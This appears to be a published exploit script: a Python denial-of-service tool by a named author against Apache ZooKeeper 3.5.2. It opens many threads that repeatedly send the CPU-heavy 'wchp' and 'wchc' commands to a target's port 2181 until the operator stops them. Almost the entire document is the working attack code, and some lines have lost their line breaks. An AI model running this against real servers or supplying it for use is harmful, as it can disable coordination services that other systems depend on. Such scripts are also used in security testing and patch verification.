#!/usr/bin/python# Exploit Title: Zookeeper Client Denial Of Service (Port 2181)# Date: 2/7/2017# Exploit Author: Brandon Dennis# Email: bdennis@mail.hodges.edu# Software Link: http://zookeeper.apache.org/releases.html#download# Zookeeper Version: 3.5.2# Tested on: Windows 2008 R2, Windows 2012 R2 x64 & x86# Description: The wchp command to the ZK port 2181 will gather open internal files by each session/watcher and organize them for the requesting client. # This command is CPU intensive and will cause a denial of service to the port as well as spike the CPU of the remote machine to 90-100% consistently before any other traffic. # The average amount of threads uses was 10000 for testing. This should work on all 3.x+ versions of Zookeeper.# This should effect Linux x86 & x64 as well
import time
import os
import threading
import sys
import socket
numOfThreads = 1
exitStr = "n"
stop_threads = False
threads = []
ipAddress = "192.168.1.5"#Change this
port = 2181
def sendCommand(ipAddress, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ipAddress, port))
s.send("wchp\r".encode("utf-8"))
s.recv(1024)
s.send("wchc\r".encode("utf-8"))
s.close()
except:
pass
def runCMD(id, stop, ipAddress, port):
while True:
sendCommand(ipAddress, port)if stop():
breakreturn
def welcomeBanner():
banner = """ _______ _______ _
|___| | / / /__ \ | |
/ /| |/ /| /\/_ __ __ _ ___| |__ ___ _ __
/ / |\| | | '__/ _` / __| '_ \ / _ | '__|
./ /__| |\\ | \__/| | | (_| \__ | | | |__| |
\_____\_| \_/\____|_|\__,_|___|_| |_|\___|_|
By: Brandon Dennis
Email: bdennis@mail.hodges.edu
"""
print(banner)
welcomeBanner()
numOfThreads = int(input("How many threads do you want to use: "))
print ("Startin Up Threads...")for i in range(numOfThreads):
t = threading.Thread(target=runCMD, args=(id, lambda: stop_threads, ipAddress, port))
threads.append(t)
t.start()
print("Threads are now started...")while exitStr != "y":
inpt = input("Do you wish to stop threads(y): ")if inpt == "y":
exitStr = "y"
print("\nStopping Threads...")
stop_threads = True
for thread in threads:
thread.join()
print("Threads are now stopped...")
sys.exit(0);